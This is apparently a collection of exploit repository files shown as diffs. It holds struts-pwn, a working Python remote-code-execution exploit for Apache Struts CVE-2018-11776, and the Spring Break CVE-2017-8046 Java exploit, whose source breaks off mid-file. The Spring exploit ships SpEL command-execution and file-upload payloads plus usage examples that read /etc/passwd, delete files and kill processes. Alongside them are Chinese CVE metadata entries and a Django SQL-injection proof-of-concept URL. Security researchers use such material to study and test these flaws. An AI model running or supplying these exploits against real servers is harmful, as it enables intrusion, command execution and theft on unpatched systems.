Copyright (c) 2018 Mazin Ahmed
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -0,0 +1,48 @@
*struts-pwn - CVE-2018-11776 Exploit*
============
### An exploit for Apache Struts CVE-2018-11776 ###
# **Usage** #
## Check if the vulnerability exists against a single URL. ##
`python struts-pwn.py --url 'http://example.com/demo/struts2-showcase/index.action'`
## Check if the vulnerability exists against a list of URLs. ##
`python struts-pwn.py --list 'urls.txt'`
## Exploit a single URL. ##
`python struts-pwn.py --exploit --url 'http://example.com/demo/struts2-showcase/index.action' -c 'id'`
## Exploit a list of URLs. ##
`python struts-pwn.py --exploit --list 'urls.txt' -c 'id'`
# **Demo** #
![Demo](https://github.com/mazen160/public/raw/master/static/images/struts-pwn_CVE-2018-11776_Demo.gif)
![Screenshot 1](https://github.com/mazen160/public/raw/master/static/images/struts-pwn_CVE-2018-11776_Screenshot_1.png)
![Screenshot 2](https://github.com/mazen160/public/raw/master/static/images/struts-pwn_CVE-2018-11776_Screenshot_2.png)
# **Requirements** #
* Python2 or Python3
* requests
# **Legal Disclaimer** #
This project is made for educational and ethical testing purposes only. Usage of struts-pwn for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
# **License** #
The project is licensed under MIT License.
# **Author** #
*Mazin Ahmed*
* Website: [https://mazinahmed.net](https://mazinahmed.net)
* Email: *mazin AT mazinahmed DOT net*
* Twitter: [https://twitter.com/mazen160](https://twitter.com/mazen160)
* Linkedin: [http://linkedin.com/in/infosecmazinahmed](http://linkedin.com/in/infosecmazinahmed)

View File

@ -0,0 +1,226 @@
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2018-11776 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code uses a payload from:
# https://github.com/jas502n/St2-057
# *****************************************************
import argparse
import random
import requests
import sys
try:
from urllib import parse as urlparse
except ImportError:
import urlparse
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: 'id')",
action='store',
default='id')
parser.add_argument("--exploit",
dest="do_exploit",
help="Exploit.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
cmd = args.cmd if args.cmd else None
do_exploit = args.do_exploit if args.do_exploit else None
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*'
}
timeout = 3
def parse_url(url):
"""
Parses the URL.
"""
# url: http://example.com/demo/struts2-showcase/index.action
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str("http://") + str(url)
scheme = urlparse.urlparse(url).scheme
# Site: http://example.com
site = scheme + '://' + urlparse.urlparse(url).netloc
# FilePath: /demo/struts2-showcase/index.action
file_path = urlparse.urlparse(url).path
if (file_path == ''):
file_path = '/'
# Filename: index.action
try:
filename = url.split('/')[-1]
except IndexError:
filename = ''
# File Dir: /demo/struts2-showcase/
file_dir = file_path.rstrip(filename)
if (file_dir == ''):
file_dir = '/'
return({"site": site,
"file_dir": file_dir,
"filename": filename})
def build_injection_inputs(url):
"""
Builds injection inputs for the check.
"""
parsed_url = parse_url(url)
injection_inputs = []
url_directories = parsed_url["file_dir"].split("/")
try:
url_directories.remove("")
except ValueError:
pass
for i in range(len(url_directories)):
injection_entry = "/".join(url_directories[:i])
if not injection_entry.startswith("/"):
injection_entry = "/%s" % (injection_entry)
if not injection_entry.endswith("/"):
injection_entry = "%s/" % (injection_entry)
injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload.
injection_entry += parsed_url["filename"]
injection_inputs.append(injection_entry)
return(injection_inputs)
def check(url):
random_value = int(''.join(random.choice('0123456789') for i in range(2)))
multiplication_value = random_value * random_value
injection_points = build_injection_inputs(url)
parsed_url = parse_url(url)
print("[%] Checking for CVE-2018-11776")
print("[*] URL: %s" % (url))
print("[*] Total of Attempts: (%s)" % (len(injection_points)))
attempts_counter = 0
for injection_point in injection_points:
attempts_counter += 1
print("[%s/%s]" % (attempts_counter, len(injection_points)))
testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
continue
if "Location" in resp.headers.keys():
if str(multiplication_value) in resp.headers['Location']:
print("[*] Status: Vulnerable!")
return(injection_point)
print("[*] Status: Not Affected.")
return(None)
def exploit(url, cmd):
parsed_url = parse_url(url)
injection_point = check(url)
if injection_point is None:
print("[%] Target is not vulnerable.")
return(0)
print("[%] Exploiting...")
payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)
testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)
try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
return(1)
print("[%] Response:")
print(resp.text)
return(0)
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
if url:
if not do_exploit:
check(url)
else:
exploit(url, cmd)
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), "r")
URLs_List = f_file.read().replace("\r", "").split("\n")
try:
URLs_List.remove("")
except ValueError:
pass
f_file.close()
except Exception as e:
print("Error: There was an error in reading list file.")
print("Exception: " + str(e))
exit(1)
for url in URLs_List:
if not do_exploit:
check(url)
else:
exploit(url, cmd)
print("[%] Done.")
if __name__ == "__main__":
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
except KeyboardInterrupt:
print("\nKeyboardInterrupt Detected.")
print("Exiting...")
exit(0)

View File

@ -0,0 +1 @@
requests

View File

@ -0,0 +1,20 @@
id: CVE-2018-11776
source: https://github.com/mazen160/struts-pwn_CVE-2018-11776
info:
name: Apache Struts是一个用于构建基于Java的web应用程序的模型-视图-控制器(MVC)框架。
severity: high
description:
Apache Struts 版本 2.3 到 2.3.34 和 2.5 到 2.5.16 在 alwaysSelectFullNamespace 为 true 时(由用户或像 Convention 插件这样的插件)遭受可能的远程代码执行,然后: 结果在没有命名空间的情况下使用,同时,它的上层包没有或通配符命名空间,类似于结果,当使用没有设置值和操作的 url 标签时,同样的可能性同时, 它的上层包没有或通配符命名空间。
scope-of-influence:
Struts 2.3.1 - Struts 2.3.34
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-20
cnvd-id: None
kve-id: None
tags:
- 远程命令执行

View File

@ -0,0 +1,27 @@
## Django上传文件目录穿越漏洞——CVE-2021-31542
## 漏洞描述
Django 3.2.1, 3.1.9, and 2.2.21: CVE-2021-31542: Potential
directory-traversal via uploaded files
在这些版本的Django中使用`MultiPartParser`, `UploadedFile`, 和 `FieldFile` 时,存在构造特别的文件名../等进行目录穿越漏洞。
构造文件名参考:/tmp/../path
## 修复方案:
空文件名和带..的文件名都将拒绝
在文件django/core/files/utils.py 中添加方法:
```
def validate_file_name(name):
if name != os.path.basename(name):
raise SuspiciousFileOperation("File name '%s' includes path elements" % name)
# Remove potentially dangerous names
if name in {'', '.', '..'}:
raise SuspiciousFileOperation("Could not derive file name from '%s'" % name)
return name
```
**参考 commit**
https://github.com/django/django/commit/04ac1624bdc2fa737188401757cf95ced122d26d

View File

@ -0,0 +1,22 @@
id: CVE-2021-31542
source:
https://github.com/coffeehb/Some-PoC-oR-ExP/blob/master/Django/CVE-2021-31542.md
info:
name: Django 是一个高级的 Python 网络框架可以快速开发安全和可维护的网站。由经验丰富的开发者构建Django 负责处理网站开发中麻烦的部分,因此你可以专注于编写应用程序,而无需重新开发。 它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。
severity: high
description: |
在Django 2.22.2.21之前、3.13.1.9之前和3.23.2.1之前MultiPartParser、UploadedFile和FieldFile允许通过上传文件和适当伪造的文件名进行目录穿越。
scope-of-influence:
Django 2.2.x - 2.2.21
Django 3.1.x - 3.1.9
Django 3.2.x - 3.2.1
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-31542
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-31542
cwe-id: CWE-22
cnvd-id: None
kve-id: None
tags: Django, Directory traversal

@ -0,0 +1 @@
Subproject commit 5a28f5e3fa893ea64e81488ef736665d17908499

View File

@ -0,0 +1,20 @@
### CVE-2022-28346
Django QuerySet.annotate(), aggregate(), extra() SQL 注入
### 环境初始化
```
1.python manage.py makemigrations
2.python manage.py migrate
3.访问http://x.x.x.x:8000/ 插入初始化数据
```
### 漏洞复现
```
访问http://x.x.x.x:8000/demo
POC: http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
```
![image-20220426224053969](./image-20220426224053969.png)
**验证漏洞存在**

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

View File

@ -0,0 +1,22 @@
id: CVE-2022-28346
source:
https://github.com/DeEpinGh0st/CVE-2022-28346
info:
name: Django 是一个高级的 Python 网络框架可以快速开发安全和可维护的网站。由经验丰富的开发者构建Django 负责处理网站开发中麻烦的部分,因此你可以专注于编写应用程序,而无需重新开发。 它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。
severity: critical
description: |
Django部分版本存在QuerySet.annotate()、aggregate() 和 extra() 方法可通过精心制作的字典(带有字典扩展)作为传递的 **kwargs 在列别名中进行 SQL 注入。
scope-of-influence:
Django 2.2.x - 2.2.28
Django 3.2.x - 3.2.13
Django 4.0.x - 4.0.4
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-28346
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-28346
cwe-id: CWE-89
cnvd-id: None
kve-id: None
tags: Django, SQL injection

View File

@ -0,0 +1,60 @@
###################
# Compiled source #
###################
*.com
*.dll
*.exe
*.o
*.so
*.bat
############
# Packages #
############
# it's better to unpack these files and commit the raw source
# git has its own built in compression methods
*.7z
*.dmg
*.gz
*.iso
*.rar
*.tar
*.zip
######################
# Logs and databases #
######################
*.log
*.sqlite
######################
# OS generated files #
######################
.DS_Store*
ehthumbs.db
Icon?
Thumbs.db
*~
######################
# Other repositories #
######################
.svn
.\#*
####################
# Java programming #
####################
build
doc
generated
target
.project
.classpath
.settings
*.class
*.jar
*.war
*.ear
junit*.properties
/bin/

View File

@ -0,0 +1,13 @@
Copyright 2018 Antonio Francesco Sardella
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@ -0,0 +1,163 @@
# spring-break_cve-2017-8046
This is a Java program that exploits **Spring Break** vulnerability (**CVE-2017-8046**).
This software is written to have as less external dependencies as possible.
## DISCLAIMER
**This tool is intended for security engineers and appsec guys for security assessments. Please use this tool responsibly. I do not take responsibility for the way in which any one uses this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.**
## Vulnerability info
* **CVE-ID**: CVE-2017-8046
* **Link**: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046)
* **Description**: Malicious *PATCH* requests submitted to *spring-data-rest* servers in **Pivotal Spring Data REST** versions prior to **2.5.12**, **2.6.7**, **3.0 RC3**, **Spring Boot** versions prior to **2.0.0M4**, and **Spring Data** release trains prior to **Kay-RC3** can use specially crafted JSON data to run arbitrary Java code.
* **Vendor link**: [https://pivotal.io/security/cve-2017-8046](https://pivotal.io/security/cve-2017-8046)
## How to generate an executable JAR
Here some steps to follow in order to generate an executable JAR, with all dependencies into it, that can be used to launch the exploit.
### with Maven
Following Maven command can be launched:
```
mvn clean compile package
```
### with Eclipse
Following steps can be done:
1. solve all external dependencies/libraries;
1. right click on the Eclipse project and go to `Run As > Run Configurations`;
1. right click on `Java Application` then on `New`;
1. choose a name and set the main class to `com.afs.exploit.spring.SpringBreakCve20178046`;
1. click on `Apply` button;
1. close the window and go back to the main Eclipse window;
1. right click on the Eclipse project and click on `Export...`;
1. find and choose `Runnable JAR file` (under `Java` branch);
1. in the following window:
1. choose the correct `Launch configuration` created before;
1. choose an `Export destination`;
1. choose the option `Extract required libraries into generated JAR`;
1. click on `Finish` button.
## Help
```
Usage:
java -jar spring-break_cve-2017-8046.jar [options]
Description:
Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
-h, --help
Prints this help and exits.
-u, --url [target_URL]
The target URL where the exploit will be performed.
You have to choose an existent resource.
-cmd, --command [command_to_execute]
The command that will be executed on the remote machine.
-U, --upload [file_to_upload]
File to upload to the remote machine. Will be uploaded to the current working
directory of the java process. Warning: this will only succeed on a server running
JRE-1.7 or later.
--remote-upload-directory [/some/existing/path/]
Optional. Server will attempt to write the uploaded file to this directory on the
filesystem. Specified directory must exist and be writeable.
--cookies [cookies]
Optional. Cookies passed into the request, e.g. authentication cookies.
-H, --header [custom_header]
Optional. Custom header passed into the request, e.g. authorization header.
-k
Skip SSL validation
--clean
Optional. Removes error messages in output due to the usage of the
exploit. It could hide error messages if the request fails for other reasons.
--error-stream
Optional. In case of errors the command will fail and the error stream will
not be returned. This option can be used to relaunch the remote command
returning the error stream.
-v, --verbose
Optional. Increase verbosity.
```
## Examples
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
```
```
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
```
```
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean
```
Please note that the referenced resource/URL must exist!
## Vulnerable application
A vulnerable application can be found [here](https://github.com/m3ssap0/SpringBreakVulnerableApp).
## Authors
* **Antonio Francesco Sardella** - *main implementation* - [m3ssap0](https://github.com/m3ssap0)
* **Yassine Tioual** - *HTTP header enhancement* - [nisay759](https://github.com/nisay759)
* **Robin Wagenaar** - *for the suggestion to use patch operation 'remove' instead of 'replace' and for the file upload functionality* - [RobinWagenaar](https://github.com/RobinWagenaar)
## License
This project is licensed under the Apache License Version 2.0 - see the **LICENSE.txt** file for details.
## Acknowledgments
* [Man Yue Mo](https://lgtm.com/blog/spring_data_rest_CVE-2017-8046_ql) the security researcher who discovered the vulnerability

View File

@ -0,0 +1,651 @@
// Exploit Title: RCE in PATCH requests in Spring Data REST
// Date: 2018-03-10
// Exploit Author: Antonio Francesco Sardella
// Vendor Homepage: https://pivotal.io/
// Software Link: https://projects.spring.io/spring-data-rest/
// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)
// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE'
// CVE: CVE-2017-8046
// Category: Webapps
// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046
// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp
// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com
package com.afs.exploit.spring;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.ArrayList;
import java.util.List;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.FileUtils;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPatch;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.ssl.SSLContextBuilder;
import org.apache.http.conn.ssl.TrustSelfSignedStrategy;
import org.apache.http.conn.ssl.SSLConnectionSocketFactory;
import org.apache.http.conn.ssl.NoopHostnameVerifier;
/**
* This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).
* This software is written to have as less external dependencies as possible.
* DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please
* use this tool responsibly. I do not take responsibility for the way in which any one uses this application.
* I am NOT responsible for any damages caused or any crimes committed by using this tool.
* ..................
* . CVE-ID ........: CVE-2017-8046
* . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
* . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST
* .................. versions prior to 2.5.12, 2.6.9, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring
* .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary
* .................. Java code.
* ..................
*
* @author Antonio Francesco Sardella
*/
public class SpringBreakCve20178046 {
/**
* Version string.
*/
private static final String VERSION = "v1.6 (2018-10-13)";
/**
* The JSON Patch object.
*/
private static String JSON_PATCH_OBJECT = "[{ \"op\" : \"remove\", \"path\" : \"%s\", \"value\" : \"pwned\" }]";
/**
* This is a way to bypass the split and 'replace'
* logic performed by the framework on slashes.
*/
private static String SLASH = "(new java.lang.String(new char[]{0x2F}))";
/**
* Malicious SpEL-script for executing commands.
*/
private static String COMMAND_PAYLOAD;
static {
COMMAND_PAYLOAD = "T(org.springframework.util.StreamUtils).copy(";
COMMAND_PAYLOAD += "T(java.lang.Runtime).getRuntime().exec(";
COMMAND_PAYLOAD += "(";
COMMAND_PAYLOAD += "T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")";
COMMAND_PAYLOAD += "?";
COMMAND_PAYLOAD += "\\\"cmd \\\"+" + SLASH + "+\\\"c \\\"";
COMMAND_PAYLOAD += ":";
COMMAND_PAYLOAD += "\\\"\\\"";
COMMAND_PAYLOAD += ")+";
COMMAND_PAYLOAD += "%s"; // The encoded command will be placed here.
COMMAND_PAYLOAD += ").get%sStream()";
COMMAND_PAYLOAD += ",";
COMMAND_PAYLOAD += "T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()";
COMMAND_PAYLOAD += ".getResponse().getOutputStream()";
COMMAND_PAYLOAD += ").x";
}
/**
* Malicious SpEL-script for uploading files (like scripts, binaries, etc).
*/
private static String FILEUPLOAD_PAYLOAD;
static {
// Classes java.nio.file.* are only available in Java 7+.
FILEUPLOAD_PAYLOAD = "T(java.nio.file.Files).write(";
FILEUPLOAD_PAYLOAD += "T(java.nio.file.Paths).get(%s),";
FILEUPLOAD_PAYLOAD += "T(java.util.Base64).getDecoder().decode(\\\"%s\\\")";
FILEUPLOAD_PAYLOAD += ").x";
}
/**
* Error cause string that can be used to "clean the response."
*/
private static String ERROR_CAUSE = "{\"cause";
/**
* Constant that will be used to get input stream.
*/
private static String INPUT_STREAM = "Input";
/**
* Constant that will be used to get error stream.
*/
private static String ERROR_STREAM = "Error";
/**
* The target URL.
*/
private URI url;
/**
* Whether to skipSSL or not, default set to false
*/
private boolean skipSSL;
/**
* The command that will be executed on the remote machine.
*/
private String command;
/**
* Cookies that will be passed.
*/
private String cookies;
/**
* Flag used to remove error messages in output due to
* the usage of the exploit. It could hide error messages
* if the request fails for other reasons.
*/
private boolean cleanResponse;
/**
* This flag can be used to retrieve the error stream
* in case the launched remote command fails unexpectedly.
*/
private boolean errorStream;
/**
* Verbosity flag.
*/
private boolean verbose;
/**
* Custom headers that will be passed.
*/
private List<String> customHeaders = new ArrayList<String>();
/**
* Path that will point to a file on the local filesystem, which will
* be uploaded. Uploads cannot be used in conjunction with commands in the
* same request.
*/
private File localFileToUpload;
/**
* Server will upload the file to this location, e.g. /tmp or C:\TEMP. This path
* will be encoded to ensure that Spring will not convert slashes to dots.
*/
private String remoteUploadDirectory;
/**
* Default constructor.
*/
public SpringBreakCve20178046() {
this.verbose = false;
this.cleanResponse = false;
this.errorStream = false;
this.skipSSL = false;
}
/**
* Performs the exploit.
*
* @throws IOException
* If something bad occurs during HTTP GET.
*/
public void exploit() throws IOException {
checkInput();
printInput();
String payload = preparePayload();
String response = httpPatch(payload);
printOutput(response);
}
/**
* Checks the input.
*/
private void checkInput() {
if (this.url == null) {
throw new IllegalArgumentException("URL must be passed.");
}
if ((isEmpty(this.command) && this.localFileToUpload == null) || (!isEmpty(this.command) && this.localFileToUpload != null)) {
throw new IllegalArgumentException("Either a command must be passed, or a file must be selected for upload.");
}
}
/**
* Prints input if verbose flag is true.
*/
private void printInput() {
if (isVerbose()) {
System.out.println("[*] Target URL ........: " + this.url);
if (!isEmpty(this.command)) {
System.out.println("[*] Command ...........: " + this.command);
}
if (this.localFileToUpload != null) {
System.out.println("[*] File to upload ....: " + this.localFileToUpload.getAbsolutePath());
if (!isEmpty(this.remoteUploadDirectory)) {
System.out.println("[*] Remote upload dir .: " + this.remoteUploadDirectory);
}
}
System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies));
System.out.println("[*] Headers ...........: " + (this.customHeaders == null || this.customHeaders.isEmpty() ? "(no headers)" : "(" + this.customHeaders.size() + " headers)"));
if (this.customHeaders != null && !this.customHeaders.isEmpty()) {
for (String header : this.customHeaders) {
System.out.println(" > " + header);
}
}
System.out.println("[*] Clean response ....: " + this.cleanResponse);
System.out.println("[*] Ret error stream ..: " + this.errorStream);
System.out.println("[*] Verbose ...........: " + this.verbose);
}
}
/**
* Prepares the payload.
*
* @return The malicious payload that will be injected.
*/
private String preparePayload() {
System.out.println("[*] Preparing payload.");
String payload = null;
// Send a command to the server:
if (!isEmpty(this.command)) {
String encodedCommand = encode(this.command); // Encoding inserted command.
String maliciousSpEL = String.format(COMMAND_PAYLOAD, encodedCommand, isErrorStream() ? ERROR_STREAM : INPUT_STREAM);
payload = String.format(JSON_PATCH_OBJECT, maliciousSpEL); // Placing payload into JSON Patch object.
}
// Upload a file to the server:
else if (this.localFileToUpload != null) {
try {
// Remote preparing filename / directory.
String filename = this.localFileToUpload.getName();
if (remoteUploadDirectory != null) {
filename = remoteUploadDirectory + filename;
filename = encode(filename);
}
// Reading file content to byte[] instead of string avoids potential text encoding issues.
byte[] rawFileContent = FileUtils.readFileToByteArray(this.localFileToUpload);
String encodedFileContent = Base64.encodeBase64String(rawFileContent);
String maliciousSpEL = String.format(FILEUPLOAD_PAYLOAD, filename, encodedFileContent);
payload = String.format(JSON_PATCH_OBJECT, maliciousSpEL);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
if (isVerbose()) {
System.out.println("[*] Payload ...........: " + payload);
}
return payload;
}
/**
* Encodes the inserted command.
*
* @return The encoded command.
*/
private String encode(String command) {
StringBuffer encodedCommand = new StringBuffer("(new java.lang.String(new char[]{");
int commandLength = command.length();
for (int i = 0; i < commandLength; i++) {
encodedCommand.append((int) command.charAt(i));
if (i + 1 < commandLength) {
encodedCommand.append(",");
}
}
encodedCommand.append("}))");
if (isVerbose()) {
System.out.println("[*] Encoded command ...: " + encodedCommand.toString());
}
return encodedCommand.toString();
}
/**
* HTTP PATCH operation on the target passing the malicious payload.
*
* @param payload
* The malicious payload.
* @return The response as a string.
* @throws IOException
* If something bad occurs during HTTP GET.
*/
private String httpPatch(String payload) throws IOException {
System.out.println("[*] Sending payload.");
// Preparing PATCH operation.
HttpClientBuilder clientBuilder = HttpClientBuilder.create();
// Disable SSL Verification
if(this.url.getScheme().equalsIgnoreCase("https") && this.skipSSL){
try{
SSLContextBuilder sslBuilder = new SSLContextBuilder();
sslBuilder.loadTrustMaterial(null, new TrustSelfSignedStrategy());
// Since certificates contain hostnames, not ip addresses, if we try https://ipAddress
// a SSLPeerUnverifiedException would be thrown because hostname in certificate does not match
// ip used in https://ipAddress, to avoid that error we need to use the overloaded constructor taking as second arg NoopHostnameVerifier.
SSLConnectionSocketFactory sslConnectionFactory = new SSLConnectionSocketFactory(sslBuilder.build(), NoopHostnameVerifier.INSTANCE);
clientBuilder.setSSLSocketFactory(sslConnectionFactory);
} catch(Exception exception) {
// Errors that may be thrown: KeyManagementException, KeyStoreException, NoSuchAlgorithmException, SSLPeerUnverifiedException
throw new RuntimeException(exception);
}
}
HttpClient client = clientBuilder.build();
HttpPatch patch = new HttpPatch(this.url);
patch.setHeader("User-Agent", "Mozilla/5.0");
patch.setHeader("Accept-Language", "en-US,en;q=0.5");
patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch.
if (!isEmpty(this.cookies)) {
patch.setHeader("Cookie", this.cookies);
}
if (!customHeaders.isEmpty()) {
for (String header : this.customHeaders) {
String key = header.split(":")[0];
String value = header.split(":")[1];
patch.setHeader(key, value);
}
}
patch.setEntity(new StringEntity(payload));
// Response string.
StringBuffer response = new StringBuffer();
// Executing PATCH operation.
HttpResponse httpResponse = client.execute(patch);
if (httpResponse != null) {
// Reading response code.
if (httpResponse.getStatusLine() != null) {
int responseCode = httpResponse.getStatusLine().getStatusCode();
System.out.println("[*] HTTP " + responseCode);
} else {
System.out.println("[!] HTTP response code can't be read.");
}
// Reading response content.
if (httpResponse.getEntity() != null && httpResponse.getEntity().getContent() != null) {
BufferedReader in = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
response.append(System.getProperty("line.separator"));
}
in.close();
} else {
System.out.println("[!] HTTP response content can't be read.");
}
} else {
System.out.println("[!] HTTP response is null.");
}
return response.toString();
}
/**
* Prints output.
*
* @param response
* Response that will be printed.
*/
private void printOutput(String response) {
if (!isEmpty(response)) {
System.out.println("[*] vvv Response vvv");
// Cleaning response (if possible).
